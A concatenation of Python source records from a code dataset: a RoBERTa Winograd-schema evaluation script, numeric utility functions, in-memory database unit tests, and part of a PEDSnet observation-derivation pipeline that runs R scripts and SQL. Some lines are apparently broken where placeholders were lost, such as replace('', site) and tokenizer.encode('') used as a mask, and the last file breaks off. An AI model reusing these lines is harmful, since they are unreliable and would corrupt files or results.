add_special_tokens=True)\n print(tokenized_text, \"tokenized_text\")\n\n tokens_pre_word_piece_A = dp_split['answer_a'].strip().lower()\n tokens_pre_word_piece_B = dp_split['answer_b'].strip().lower()\n\n tokens_pre_word_piece_A_syn = dp_split['answer_a_syn'].strip().lower()\n tokens_pre_word_piece_B_syn = dp_split['answer_b_syn'].strip().lower()\n\n print(tokens_pre_word_piece_A , \" tokens_pre_word_piece_A \")\n print(tokens_pre_word_piece_B , \" tokens_pre_word_piece_B \")\n\n\n pronoun = 'because ' + dp_split['pron'].lower()\n print(pronoun, \"pronoun\")\n pronoun_index_orig = int(dp_split['pron_index'])\n pronoun_index_orig_enhanced = int(dp_split['pron_index_syn'])\n\n tokenized_option_A = tokenizer.encode(tokens_pre_word_piece_A, add_special_tokens=True)[1:-1]\n tokenized_option_B = tokenizer.encode(tokens_pre_word_piece_B, add_special_tokens=True)[1:-1]\n\n tokenized_option_A_syn = tokenizer.encode(tokens_pre_word_piece_A_syn, add_special_tokens=True)[1:-1]\n tokenized_option_B_syn = tokenizer.encode(tokens_pre_word_piece_B_syn, add_special_tokens=True)[1:-1]\n\n tokenized_pronoun = tokenizer.encode(pronoun, add_special_tokens=True)\n print(tokenized_pronoun, \"tokenized_pronoun\")\n\n tokenized_option_A_len_syn = len(tokenized_option_A_syn)\n tokenized_option_B_len_syn = len(tokenized_option_B_syn)\n tokenized_option_A_len = len(tokenized_option_A)\n tokenized_option_B_len = len(tokenized_option_B)\n\n print(tokenized_option_A, \"tokenized_option A\")\n print(tokenized_option_B, \"tokenized_option B\")\n\n print(tokenized_option_A_syn, \"tokenized_option A syn\")\n print(tokenized_option_B_syn, \"tokenized_option B syn\")\n\n matched_pronouns_text = find_sub_list([tokenized_pronoun[-2]], tokenized_text)\n matched_pronouns_enhanced_text = find_sub_list([tokenized_pronoun[-2]], tokenized_enhanced_text)\n\n first_indices_text = np.array([mp[0] for mp in matched_pronouns_text])\n first_indices_text_enhanced = np.array([mp[0] for mp in matched_pronouns_enhanced_text])\n\n print(matched_pronouns_text, \"matched_pronouns_text\")\n print(matched_pronouns_enhanced_text, \"matched_pronouns_text_enhanced\")\n\n correct_idx_text = (np.abs(first_indices_text - pronoun_index_orig)).argmin()\n correct_idx_text_enhanced = (np.abs(first_indices_text_enhanced - pronoun_index_orig_enhanced)).argmin()\n print(correct_idx_text_enhanced, \" correct_idx_text_enhanced\")\n\n pronoun_index_text = matched_pronouns_text[correct_idx_text][0]\n pronoun_index_text_enhanced = matched_pronouns_enhanced_text[correct_idx_text_enhanced][0]\n print(pronoun_index_text_enhanced, \" pronoun_index_text_enhanced\")\n\n tokenized_text_A = replace_pronoun(tokenized_text, pronoun_index_text, tokenized_option_A)\n tokenized_text_B = replace_pronoun(tokenized_text, pronoun_index_text, tokenized_option_B)\n\n tokenized_text_enhanced_A = replace_pronoun(tokenized_enhanced_text, pronoun_index_text_enhanced, tokenized_option_A_syn)\n tokenized_text_enhanced_B = replace_pronoun(tokenized_enhanced_text, pronoun_index_text_enhanced, tokenized_option_B_syn)\n\n print(tokenized_text_A, \"tokenized_text_A\")\n print(tokenized_text_enhanced_A, \"tokenized_text_enhanced_A\")\n\n matched_A_text = find_sub_list(tokenized_option_A, tokenized_text_A)\n matched_B_text = find_sub_list(tokenized_option_B, tokenized_text_B)\n\n matched_A_text_enhanced = find_sub_list(tokenized_option_A_syn, tokenized_text_enhanced_A)\n matched_B_text_enhanced = find_sub_list(tokenized_option_B_syn, tokenized_text_enhanced_B)\n\n print(matched_A_text, \"matched A\")\n print(matched_A_text_enhanced, \"matched A enhanced\")\n\n masked_indices_A_text = [m for m in matched_A_text if m[0] == pronoun_index_text][0]\n masked_indices_A_text_enhanced = [m for m in matched_A_text_enhanced if m[0] == pronoun_index_text_enhanced][0]\n\n masked_indices_B_text = [m for m in matched_B_text if m[0] == pronoun_index_text][0]\n masked_indices_B_text_enhanced = [m for m in matched_B_text_enhanced if m[0] == pronoun_index_text_enhanced][0]\n\n #get index item\n masked_indices_items_A_text = [(index, item) for index, item in\n zip(range(masked_indices_A_text[0],masked_indices_A_text[1] + 1),tokenized_option_A)]\n masked_indices_items_A_text_enhanced = [(index, item) for index, item in\n zip(range(masked_indices_A_text[0], masked_indices_A_text_enhanced[1] +1 ),tokenized_option_A_syn)]\n\n masked_indices_items_B_text = [(index, item) for index, item in\n zip(range(masked_indices_A_text[0], masked_indices_B_text[1] + 1),tokenized_option_B)]\n masked_indices_items_B_text_enhanced = [(index, item) for index, item in\n zip(range(masked_indices_B_text[0], masked_indices_B_text_enhanced[1] + 1),\n tokenized_option_B_syn)]\n\n\n for masked_index in range(masked_indices_A_text[0], masked_indices_A_text[1]):\n tokenized_text_A[masked_index] = tokenizer.encode('')[0]\n print(tokenized_text_A, \"tokenized_text A MASKED\")\n\n for masked_index in range(masked_indices_A_text_enhanced[0], masked_indices_A_text_enhanced[1]):\n tokenized_text_enhanced_A[masked_index] = tokenizer.encode('')[0]\n print(tokenized_text_enhanced_A, \"tokenized_enchanced_text A MASKED\")\n\n for masked_index in range(masked_indices_B_text[0], masked_indices_B_text[1]):\n tokenized_text_B[masked_index] = tokenizer.encode('')[0]\n print(tokenized_text_B, \"tokenized_text B MASKED\")\n\n for masked_index in range(masked_indices_B_text_enhanced[0], masked_indices_B_text_enhanced[1]):\n tokenized_text_enhanced_B[masked_index] = tokenizer.encode('')[0]\n print(tokenized_text_enhanced_B, \"tokenized_enchanced_text B MASKED\")\n\n\n # Convert token to vocabulary indices\n indexed_tokens_A = tokenized_text_A #tokenizer.encode(' '.join(tokenized_text_A), add_special_tokens=True)\n indexed_tokens_B = tokenized_text_B #tokenizer.encode(' '.join(tokenized_text_B), add_special_tokens=True)\n\n #enhanced\n indexed_tokens_A_enhanced = tokenized_text_enhanced_A #tokenizer.encode(' '.join(tokenized_text_enhanced_A), add_special_tokens=True)\n indexed_tokens_B_enhanced = tokenized_text_enhanced_B #tokenizer.encode(' '.join(tokenized_text_enhanced_B), add_special_tokens=True)\n\n\n # Convert inputs to PyTorch tensors\n tokens_tensor_A = torch.tensor([indexed_tokens_A])\n tokens_tensor_B = torch.tensor([indexed_tokens_B])\n\n #enhanced\n tokens_tensor_A_enhanced = torch.tensor([indexed_tokens_A_enhanced])\n tokens_tensor_B_enhanced = torch.tensor([indexed_tokens_B_enhanced])\n\n\n # If you have a GPU, put everything on cuda\n tokens_tensor_A = tokens_tensor_A.to(device=device)\n tokens_tensor_B = tokens_tensor_B.to(device=device)\n\n\n model.to(device=device)\n\n # Predict all tokens\n total_logprobs_A = 0\n total_logprobs_B = 0\n\n total_logprobs_A_enhanced = 0\n total_logprobs_B_enhanced = 0\n\n with torch.no_grad():\n probs_A = model(tokens_tensor_A)#, segments_tensors_A) #, masked_lm_labels = masked_lm_labels_A)\n probs_B = model(tokens_tensor_B)#, segments_tensors_B) #, masked_lm_labels = masked_lm_labels_B)\n\n probs_A_enhanced = model(tokens_tensor_A_enhanced) # , segments_tensors_A) #, masked_lm_labels = masked_lm_labels_A)\n probs_B_enhanced = model(tokens_tensor_B_enhanced) # , segments_tensors_B) #, masked_lm_labels = masked_lm_labels_B)\n\n logprobs_A = torch.nn.functional.log_softmax(probs_A[0], dim=-1)\n logprobs_B = torch.nn.functional.log_softmax(probs_B[0], dim=-1)\n print(logprobs_A.shape, \"logprobs_A\")\n\n logprobs_A_enhanced = torch.nn.functional.log_softmax(probs_A_enhanced[0], dim=-1)\n logprobs_B_enhanced = torch.nn.functional.log_softmax(probs_B_enhanced[0], dim=-1)\n\n print(\"-----------A---------------\")\n\n for index_item in masked_indices_items_A_text:\n index, item = index_item\n print(index, tokenizer.decode(item), \" : index, item\")\n #print(probs_A[0,index,item].item(), \" : probs_A[0,index,item].item()\")\n total_logprobs_A += logprobs_A[0,index,item].item()\n\n for index_item in masked_indices_items_A_text_enhanced:\n index, item = index_item\n print(index, tokenizer.decode(item), \" : index, item\")\n # print(probs_A[0,index,item].item(), \" : probs_A[0,index,item].item()\")\n total_logprobs_A_enhanced += logprobs_A_enhanced[0, index, item].item()\n\n print(\"-----------B---------------\")\n\n for index_item in masked_indices_items_B_text:\n index, item = index_item\n print(index, tokenizer.decode(item), \" : index, item\")\n #print(probs_A[0, index, item].item(), \" : probs_A[0,index,item].item()\")\n total_logprobs_B += logprobs_B[0,index,item].item()\n\n for index_item in masked_indices_items_B_text_enhanced:\n index, item = index_item\n print(index, tokenizer.decode(item), \" : index, item\")\n # print(probs_A[0,index,item].item(), \" : probs_A[0,index,item].item()\")\n total_logprobs_B_enhanced += logprobs_B_enhanced[0, index, item].item()\n\n\n print(total_logprobs_A / tokenized_option_A_len , \" total_probs_A / tokenized_option_A_len\")\n print(total_logprobs_B / tokenized_option_B_len , \" total_probs_B / tokenized_option_B_len\")\n print(correct_answer.strip().strip('.').replace(' ', ''), \" correct_answer\")\n\n print(total_logprobs_A_enhanced / tokenized_option_A_len, \" total_probs_A / tokenized_option_A_len\")\n print(total_logprobs_B_enhanced / tokenized_option_B_len, \" total_probs_B / tokenized_option_B_len\")\n print(correct_answer.strip().strip('.').replace(' ', ''), \" correct_answer\")\n\n max_index = np.argmax([total_logprobs_A / tokenized_option_A_len, total_logprobs_B / tokenized_option_B_len ])\n max_index_enhanced = np.argmax([total_logprobs_A_enhanced / tokenized_option_A_len, total_logprobs_B_enhanced\n / tokenized_option_B_len ])\n\n prediction = \"A\" if max_index == 0 else \"B\"\n prediction_enhanced = \"A\" if max_index_enhanced == 0 else \"B\"\n\n print(prediction, \" prediction\")\n print(prediction_enhanced, \" prediction enhanced\")\n\n if prediction == correct_answer.strip().strip('.').replace(' ', ''):\n correct_preds += 1\n if prediction_enhanced == correct_answer .strip().strip('.').replace(' ', ''):\n correct_preds_enhanced += 1\n if prediction_enhanced == prediction:\n stability_match += 1\n\n all_preds += 1\n print(\"#############################################################################\")\n else:\n continue\n\naccuracy = correct_preds/all_preds\nprint(all_preds, \" : all_preds\")\nprint(correct_preds, \" : correct_preds\")\nprint(accuracy, \" : accuracy\")\n\naccuracy_enhanced = correct_preds_enhanced/all_preds\nprint(all_preds, \" : all_preds\")\nprint(correct_preds_enhanced, \" : correct_preds enhanced\")\nprint(accuracy_enhanced, \" : accuracy_enhancedy\")\n\nprint(stability_match, \": stability_match\")\nprint(stability_match / all_preds , \": stability_match %\")","sub_path":"wsc/run_synonyms_roberta.py","file_name":"run_synonyms_roberta.py","file_ext":"py","file_size_in_byte":14063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"305407669","text":"from __future__ import division\nimport numpy as np\n\nfrom numpy import pi, sqrt, exp, power, log, log10\nfrom scipy.interpolate import interp1d\nfrom scipy.special import erf, lambertw\nfrom scipy.optimize import brentq\n\n#########################################\n\n\ndef interp_fn(array):\n \"\"\"\n An interpolator for log-arrays spanning many orders of magnitude.\n\n Parameters\n ----------\n array : An array of shape (N, 2) from which to interpolate.\n \"\"\"\n\n array[array < 1.e-300] = 1.e-300 # regularizing small numbers\n\n def fn(x): return 10**interp1d(log10(array[:, 0]),\n log10(array[:, 1]), fill_value='extrapolate')(log10(x))\n\n return fn\n\n\ndef zeros(fn, arr, *args):\n \"\"\"\n Find where a function crosses 0. Returns the zeroes of the function.\n\n Parameters\n ----------\n fn : function\n arr : array of arguments for function\n *args : any other arguments the function may have\n \"\"\"\n\n # the reduced function, with only the argument to be solved for (all other arguments fixed):\n def fn_reduced(array): return fn(array, *args)\n\n # the array of values of the function:\n fn_arr = fn_reduced(arr)\n\n # looking where the function changes sign...\n sign_change_arr = np.where(np.logical_or((fn_arr[:-1] < 0.) * (fn_arr[1:] > 0.),\n (fn_arr[:-1] > 0.) * (fn_arr[1:] < 0.))\n )[0]\n\n # or, just in case, where it is exactly 0!\n exact_zeros_arr = np.where(fn_arr == 0.)[0]\n\n # defining the array of 0-crossings:\n cross_arr = []\n\n # first, interpolating between the sign changes\n if len(sign_change_arr) > 0:\n for i in range(len(sign_change_arr)):\n cross_arr.append(\n brentq(fn_reduced, arr[sign_change_arr[i]],\n arr[sign_change_arr[i] + 1])\n )\n\n # and then adding those places where it is exactly 0\n if len(exact_zeros_arr) > 0:\n for i in range(len(exact_zeros_arr)):\n cross_arr.append(arr[exact_zeros_arr[i]])\n\n # sorting the crossings in increasing order:\n cross_arr = np.sort(np.array(cross_arr))\n\n return cross_arr\n\n\ndef treat_as_arr(arg):\n \"\"\"\n A routine to cleverly return scalars as (temporary and fake) arrays. True arrays are returned unharmed. Thanks to Chen!\n \"\"\"\n\n arr = np.asarray(arg)\n is_scalar = False\n\n # making sure scalars are treated properly\n if arr.ndim == 0: # it is really a scalar!\n arr = arr[None] # turning scalar into temporary fake array\n is_scalar = True # keeping track of its scalar nature\n\n return arr, is_scalar\n\n\ndef load_dct(dct, key):\n \"\"\"Used to load and determine if dict has a key\n\n :param dct: the dictionary to be interrogated\n :param key: the key to be tried\n\n \"\"\"\n\n try:\n res = dct[key]\n is_success = True\n except KeyError:\n res = None\n is_success = False\n return res, is_success\n\n\ndef scientific(val, output='string'):\n \"\"\"Convert a number to the scientific form\n\n :param val: number(s) to be converted\n :param output: LaTeX \"string\" form or \"number\" form. (Default: 'string')\n\n \"\"\"\n\n val, is_scalar = treat_as_arr(val)\n exponent, factor = [], []\n string = []\n\n for vali in val:\n expi = int(np.log10(vali))\n faci = vali / 10**expi\n # save it\n exponent.append(expi)\n factor.append(faci)\n if round(faci) == 1.:\n string.append(r\"$10^{{{:.0f}}}$\".format(expi))\n else:\n string.append(\n r\"${{{:.0f}}} \\times 10^{{{:.0f}}}$\".format(faci, expi))\n exponent = np.array(exponent)\n factor = np.array(factor)\n string = np.array(string)\n\n if is_scalar:\n exponent = np.squeeze(exponent)\n factor = np.squeeze(factor)\n string = np.squeeze(string)\n if output == 'string':\n res = string\n elif output == 'number':\n res = (factor, exponent)\n return res\n","sub_path":"tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":4002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"64434099","text":"from __future__ import absolute_import\n\nimport logging\nimport unittest\n\nimport tests\nfrom sanskrit_data.db import in_memory\nfrom sanskrit_data.schema.common import JsonObject\n\nlogging.basicConfig(\n level=logging.DEBUG,\n format=\"%(levelname)s: %(asctime)s {%(filename)s:%(lineno)d}: %(message)s \"\n)\n\nclass TestDBRoundTrip(unittest.TestCase):\n\n def setUp(self):\n self.test_db = in_memory.InMemoryDb(db_name_frontend=\"dummy\")\n\n def tearDown(self):\n pass\n\n def test_update_doc(self):\n doc = JsonObject()\n updated_doc = self.test_db.update_doc(doc.to_json_map())\n logging.debug(updated_doc)\n updated_doc[\"xyz\"] = \"xyzvalue\"\n updated_doc = self.test_db.update_doc(updated_doc)\n logging.debug(updated_doc)\n self.assertNotEqual(updated_doc, None)\n self.assertEqual(\"xyz\" in updated_doc, True)\n updated_doc = self.test_db.find_by_id(updated_doc[\"_id\"])\n self.assertNotEqual(updated_doc, None)\n\n\n def test_delete_doc_find_by_id(self):\n doc = JsonObject()\n updated_doc = self.test_db.update_doc(doc.to_json_map())\n logging.debug(updated_doc)\n doc_id = updated_doc[\"_id\"]\n self.test_db.delete_doc(doc_id)\n self.assertEqual(self.test_db.find_by_id(doc_id), None)\n\n\n def test_find(self):\n doc = JsonObject()\n doc.xyz = \"xyzvalue\"\n updated_doc = self.test_db.update_doc(doc.to_json_map())\n logging.debug(updated_doc)\n found_doc = next(self.test_db.find(find_filter={\"xyz\": \"xyzvalue\"}))\n self.assertTrue(JsonObject.make_from_dict(updated_doc).equals_ignore_id(JsonObject.make_from_dict(found_doc)))\n\n def test_find_one(self):\n doc = JsonObject()\n doc.xyz = \"xyzvalue\"\n updated_doc = self.test_db.update_doc(doc.to_json_map())\n logging.debug(updated_doc)\n found_doc = self.test_db.find_one(find_filter={\"xyz\": \"xyzvalue\"})\n self.assertTrue(JsonObject.make_from_dict(updated_doc).equals_ignore_id(JsonObject.make_from_dict(found_doc)))\n\n\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"tests/db/db_interface_test.py","file_name":"db_interface_test.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"411757022","text":"import logging\nimport time\nimport shutil\nimport os\nimport re\nimport hashlib\n\nfrom pedsnetdcc.db import StatementSet, Statement, StatementList\nfrom pedsnetdcc.dict_logging import secs_since\nfrom pedsnetdcc.schema import (primary_schema)\nfrom pedsnetdcc.utils import (check_stmt_err, check_stmt_data, combine_dicts,\n get_conn_info_dict, vacuum, stock_metadata)\nfrom sh import Rscript\n\nlogger = logging.getLogger(__name__)\nNAME_LIMIT = 30\nIDX_OBS_LIKE_TABLE_SQL = 'create index {0} on {1}.observation_derivation_recover ({2})'\nFK_OBS_LIKE_TABLE_SQL = 'alter table {0}.observation_derivation_recover add constraint {1} foreign key ({2}) references {3}({4})'\nGRANT_OBS_LIKE_TABLE_SQL = 'grant select on table {0}.observation_derivation_recover to {1}'\nDROP_PK_CONSTRAINT_SQL = \"\"\"alter table {0}.observation_derivation_recover drop constraint if exists xpk_observation_derivation_recover;\n alter table {0}.observation_derivation_recover drop constraint if exists observation_derivation_recover_pkey;\"\"\"\nDROP_NULL_SQL = 'alter table {0}.observation_derivation_recover alter column observation_id drop not null;'\nADD_SITE_SQL = \"\"\"UPDATE {0}.observation_derivation_recover SET site = '{1}';\"\"\"\nADD_DCC_SITE_SQL = \"\"\"UPDATE {0}.observation_derivation_recover o SET site=p.site \n FROM (select person_id, site from {0}.person)p WHERE o.person_id = p.person_id;\"\"\"\nRENAME_SQL = \"\"\"ALTER TABLE IF EXISTS {0}.observation_derivation_recover_misc\n RENAME TO observation_derivation_recover;\"\"\"\n\n\ndef _fill_concept_names(conn_str, schema):\n fill_concept_names_sql = \"\"\"UPDATE {0}.observation_derivation_recover zs\n SET observation_concept_name=v.observation_concept_name,\n observation_type_concept_name=v.observation_type_concept_name, \n qualifier_concept_name=v.qualifier_concept_name, \n unit_concept_name=v.unit_concept_name, \n value_as_concept_name=v.value_as_concept_name\n FROM ( SELECT\n z.observation_id AS observation_id,\n v1.concept_name AS observation_concept_name, \n v3.concept_name AS observation_type_concept_name, \n v4.concept_name AS qualifier_concept_name, \n v5.concept_name AS unit_concept_name,\n v6.concept_name AS value_as_concept_name\n FROM {0}.observation_derivation_recover AS z\n LEFT JOIN vocabulary.concept AS v1 ON z.observation_concept_id = v1.concept_id\n LEFT JOIN vocabulary.concept AS v3 ON z.observation_type_concept_id = v3.concept_id\n LEFT JOIN vocabulary.concept AS v4 ON z.qualifier_concept_id = v4.concept_id\n LEFT JOIN vocabulary.concept AS v5 ON z.unit_concept_id = v5.concept_id\n LEFT JOIN vocabulary.concept AS v6 ON z.value_as_concept_id = v6.concept_id\n ) v\n WHERE zs.observation_id = v.observation_id\"\"\"\n\n fill_concept_names_msg = \"adding concept names\"\n\n # Add concept names\n add_observation_concept_stmt = Statement(fill_concept_names_sql.format(schema), fill_concept_names_msg)\n\n # Execute the add concept names statement and ensure it didn't error\n add_observation_concept_stmt.execute(conn_str)\n check_stmt_err(add_observation_concept_stmt, 'add concept names')\n\n # If reached without error, then success!\n return True\n\n\ndef _fill_age_in_months(conn_str, schema):\n fill_add_age_in_months_sql = \"\"\"\n create or replace function {0}.last_month_of_interval(timestamp, timestamp)\n returns timestamp strict immutable language sql as $$\n select $1 + interval '1 year' * extract(years from age($2, $1)) + interval '1 month' * extract(months from age($2, $1))\n $$;\n comment on function {0}.last_month_of_interval(timestamp, timestamp) is\n 'Return the timestamp of the last month of the interval between two timestamps';\n\n create or replace function {0}.month_after_last_month_of_interval(timestamp, timestamp)\n returns timestamp strict immutable language sql as $$\n select $1 + interval '1 year' * extract(years from age($2, $1)) + interval '1 month' * (extract(months from age($2, $1)) + 1)\n $$;\n comment on function {0}.month_after_last_month_of_interval(timestamp, timestamp) is\n 'Return the timestamp of the month AFTER the last month of the interval between two timestamps';\n\n create or replace function {0}.days_in_last_month_of_interval(timestamp, timestamp)\n returns double precision strict immutable language sql as $$\n select extract(days from {0}.month_after_last_month_of_interval($1, $2) - {0}.last_month_of_interval($1, $2))\n $$;\n comment on function {0}.days_in_last_month_of_interval(timestamp, timestamp) is\n 'Return the number of days in the last month of the interval between two timestamps';\n\n create or replace function {0}.months_in_interval(timestamp, timestamp)\n returns double precision strict immutable language sql as $$\n select extract(years from age($2, $1)) * 12 + extract(months from age($2, $1)) + extract(days from age($2, $1))/{0}.days_in_last_month_of_interval($1, $2)\n $$;\n comment on function {0}.months_in_interval(timestamp, timestamp) is\n 'Return the number of months (double precision) between two timestamps.\n The number of years/months/days is computed by PostgreSQL''s\n extract/date_part function. The fractional months value is\n computed by dividing the extracted number of days by the total\n number of days in the last month overlapping the interval; note\n that this is not a calendar month but, say, the number of days\n between Feb 2, 2001 and Mar 2, 2001. You should be able to obtain\n the original timestamp from the resulting value, albeit with great\n difficulty.';\n\n update {0}.observation_derivation_recover od\n set observation_age_in_months=subquery.observation_age_in_months\n from (select observation_id, \n {0}.months_in_interval(p.birth_datetime, o.observation_datetime::timestamp without time zone) as observation_age_in_months\n from {0}.observation_derivation_recover o\n join {0}.person p on p.person_id = o.person_id) AS subquery\n where od.observation_id=subquery.observation_id;\"\"\"\n\n fill_add_age_in_months_msg = \"adding age in months\"\n\n # Add age in months\n add_age_in_months_stmt = Statement(fill_add_age_in_months_sql.format(schema), fill_add_age_in_months_msg)\n\n # Execute the add concept names statement and ensure it didn't error\n add_age_in_months_stmt.execute(conn_str)\n check_stmt_err(add_age_in_months_stmt, 'add age in months')\n\n # If reached without error, then success!\n return True\n\n\ndef _copy_to_obs_table(conn_str, schema):\n copy_to_sql = \"\"\"INSERT INTO {0}.observation(\n observation_concept_id, observation_date, observation_datetime, \n observation_source_concept_id, observation_source_value, \n observation_type_concept_id, qualifier_concept_id, qualifier_source_value, \n unit_concept_id, unit_source_value, value_as_concept_id, value_as_number, \n value_as_string, observation_age_in_months, observation_concept_name, \n observation_source_concept_name, observation_type_concept_name, \n qualifier_concept_name, unit_concept_name, value_as_concept_name, site, \n observation_id, site_id, provider_id, visit_occurrence_id, person_id\n )\n (select observation_concept_id, observation_date, observation_datetime, \n observation_source_concept_id, observation_source_value, \n observation_type_concept_id, qualifier_concept_id, qualifier_source_value, \n unit_concept_id, unit_source_value, value_as_concept_id, value_as_number, \n value_as_string, observation_age_in_months, observation_concept_name, \n observation_source_concept_name, observation_type_concept_name, \n qualifier_concept_name, unit_concept_name, value_as_concept_name, site, \n observation_id, site_id, provider_id, visit_occurrence_id, person_id\n from {0}.observation_derivation_recover) ON CONFLICT DO NOTHING\"\"\"\n\n copy_to_msg = \"copying {0} to observation\"\n\n # Insert observations into observation table\n copy_to_stmt = Statement(copy_to_sql.format(schema), copy_to_msg)\n\n # Execute the insert observations statement and ensure it didn't error\n copy_to_stmt.execute(conn_str)\n check_stmt_err(copy_to_stmt, 'insert observations')\n\n # If reached without error, then success!\n return True\n\n\ndef _create_argos_file(config_path, config_file, schema, password, conn_info_dict):\n with open(os.path.join(config_path, config_file), 'wb') as out_config:\n out_config.write('{' + os.linesep)\n out_config.write('\"src_name\": \"Postgres\",' + os.linesep)\n out_config.write('\"src_args\": {' + os.linesep)\n out_config.write('\"host\": \"' + conn_info_dict.get('host') + '\",' + os.linesep)\n out_config.write('\"port\": 5432,' + os.linesep)\n out_config.write('\"dbname\": \"' + conn_info_dict.get('dbname') + '\",' + os.linesep)\n out_config.write('\"user\": \"' + conn_info_dict.get('user') + '\",' + os.linesep)\n out_config.write('\"password\": \"' + password + '\",' + os.linesep)\n out_config.write('\"bigint\": \"integer\",' + os.linesep)\n out_config.write('\"options\": \"-c search_path=' + schema + ',vocabulary\"' + os.linesep)\n out_config.write('}' + os.linesep)\n out_config.write('}' + os.linesep)\n\n\ndef _fix_site_info(file_path, site, schema):\n try:\n with open(os.path.join(file_path, 'site', 'site_info.R'), 'r') as site_file:\n file_data = site_file.read()\n file_data = file_data.replace('', site)\n file_data = file_data.replace('', schema)\n with open(os.path.join(file_path, 'site', 'site_info.R'), 'w') as site_file:\n site_file.write(file_data)\n except:\n # this query package may not have this file\n return False\n\n return True\n\n\ndef _fix_run(file_path, site):\n try:\n with open(os.path.join(file_path, 'site', 'run.R'), 'r') as site_file:\n file_data = site_file.read()\n file_data = file_data.replace('', site)\n with open(os.path.join(file_path, 'site', 'run.R'), 'w') as site_file:\n site_file.write(file_data)\n except:\n # this query package may not have this file\n return False\n\n return True\n\n\ndef _make_index_name(column_name):\n \"\"\"\n Create an index name for a given table/column combination with\n a NAME_LIMIT-character (Oracle) limit. The table/column combination\n `provider.gender_source_concept_name` results in the index name\n `pro_gscn_ae1fd5b22b92397ca9_ix`. We opt for a not particularly\n human-readable name in order to avoid collisions, which are all too\n possible with columns like provider.gender_source_concept_name and\n person.gender_source_concept_name.\n :param str table_name:\n :param str column_name:\n :rtype: str\n \"\"\"\n table_name = 'recover_derivation'\n table_abbrev = \"obs_\" + table_name[:3]\n column_abbrev = ''.join([x[0] for x in column_name.split('_')])\n md5 = hashlib.md5(\n '{}.{}'.format(table_name, column_name).encode('utf-8')). \\\n hexdigest()\n hashlen = NAME_LIMIT - (len(table_abbrev) + len(column_abbrev) +\n 3 * len('_') + len('ix'))\n return '_'.join([table_abbrev, column_abbrev, md5[:hashlen], 'ix'])\n\n\ndef run_r_obs_recover(conn_str, site, password, search_path, model_version, id_name, copy,\n limit=False, owner='loading_user'):\n \"\"\"Run an R script.\n\n * Create argos file\n * Run R Script\n\n :param str conn_str: database connection string\n :param str site: site to run script for\n :param str password: user's password\n :param str search_path: PostgreSQL schema search path\n :param str model_version: pedsnet model version, e.g. 2.3.0\n :param str id_name: name of the id (ex. dcc or onco)\n :param bool copy: if True, copy results to output directory\n :param bool limit: if True, limit permissions to owner\n :param str owner: owner of the to grant permissions to\n :returns: True if the function succeeds\n :rtype: bool\n :raises DatabaseError: if any of the statement executions cause errors\n \"\"\"\n\n package = 'observation_derivation_recover'\n config_file = site + \"_\" + package + \"_argos_temp.json\";\n conn_info_dict = get_conn_info_dict(conn_str)\n\n # Log start of the function and set the starting time.\n log_dict = combine_dicts({'site': site, },\n conn_info_dict)\n logger.info(combine_dicts({'msg': 'starting R Script'},\n log_dict))\n start_time = time.time()\n logger_msg = 'observation_derivation_recover'\n schema = primary_schema(search_path)\n\n if password == None:\n pass_match = re.search(r\"password=(\\S*)\", conn_str)\n password = pass_match.group(1)\n\n source_path = os.path.join(os.sep, 'app', package)\n dest_path = os.path.join(source_path, site)\n # delete any old versions\n if os.path.isdir(dest_path):\n shutil.rmtree(dest_path)\n # copy base files to site specific\n shutil.copytree(source_path, dest_path)\n # create the Argos congig file\n _create_argos_file(dest_path, config_file, schema, password, conn_info_dict)\n # modify site_info and run.R to add actual site\n _fix_site_info(dest_path, site, schema)\n _fix_run(dest_path, site)\n\n query_path = os.path.join(os.sep, 'app', package, site, 'site', 'run.R')\n # Run R script\n Rscript(query_path, '--verbose=1', _cwd='/app', _fg=True)\n\n # Log end of function.\n logger.info(combine_dicts({'msg': 'finished R Script',\n 'elapsed': secs_since(start_time)}, log_dict))\n\n stmts = StatementSet()\n\n # Drop primary key.\n stmts.clear()\n drop_pk_stmt = Statement(DROP_PK_CONSTRAINT_SQL.format(schema))\n stmts.add(drop_pk_stmt)\n\n # Check for any errors and raise exception if they are found.\n for stmt in stmts:\n try:\n stmt.execute(conn_str)\n check_stmt_err(stmt, logger_msg.format('Run'))\n except:\n logger.error(combine_dicts({'msg': 'Fatal error',\n 'sql': stmt.sql,\n 'err': str(stmt.err)}, log_dict))\n logger.info(combine_dicts({'msg': 'drop pk failed',\n 'elapsed': secs_since(start_time)},\n log_dict))\n raise\n\n # Add drop null statement.\n stmts.clear()\n drop_stmt = Statement(DROP_NULL_SQL.format(schema))\n stmts.add(drop_stmt)\n\n # Check for any errors and raise exception if they are found.\n for stmt in stmts:\n try:\n stmt.execute(conn_str)\n check_stmt_err(stmt, logger_msg.format('Run'))\n except:\n logger.error(combine_dicts({'msg': 'Fatal error',\n 'sql': stmt.sql,\n 'err': str(stmt.err)}, log_dict))\n logger.info(combine_dicts({'msg': 'drop null failed',\n 'elapsed': secs_since(start_time)},\n log_dict))\n raise\n\n # Add site statement.\n stmts.clear()\n if site == 'dcc':\n add_stmt = Statement(ADD_DCC_SITE_SQL.format(schema))\n else:\n add_stmt = Statement(ADD_SITE_SQL.format(schema, site))\n stmts.add(add_stmt)\n\n # Check for any errors and raise exception if they are found.\n for stmt in stmts:\n try:\n stmt.execute(conn_str)\n check_stmt_err(stmt, logger_msg.format('Run'))\n except:\n logger.error(combine_dicts({'msg': 'Fatal error',\n 'sql': stmt.sql,\n 'err': str(stmt.err)}, log_dict))\n logger.info(combine_dicts({'msg': 'add site failed',\n 'elapsed': secs_since(start_time)},\n log_dict))\n raise\n\n # add observation_ids\n okay = _add_observation_ids(conn_str, site, search_path, model_version, id_name)\n if not okay:\n return False\n\n # Add the concept_names\n logger.info({'msg': 'add concept names'})\n okay = _fill_concept_names(conn_str, schema)\n if not okay:\n return False\n logger.info({'msg': 'concept names added'})\n\n # Add age in months\n logger.info({'msg': 'add age in months'})\n okay = _fill_age_in_months(conn_str, schema)\n if not okay:\n return False\n logger.info({'msg': 'age in months added'})\n\n # Add indexes (same as observation)\n stmts.clear()\n logger.info({'msg': 'adding indexes'})\n col_index = ('observation_concept_id', 'observation_date', 'person_id',\n 'visit_occurrence_id', 'observation_age_in_months', 'site',)\n\n for col in col_index:\n idx_name = 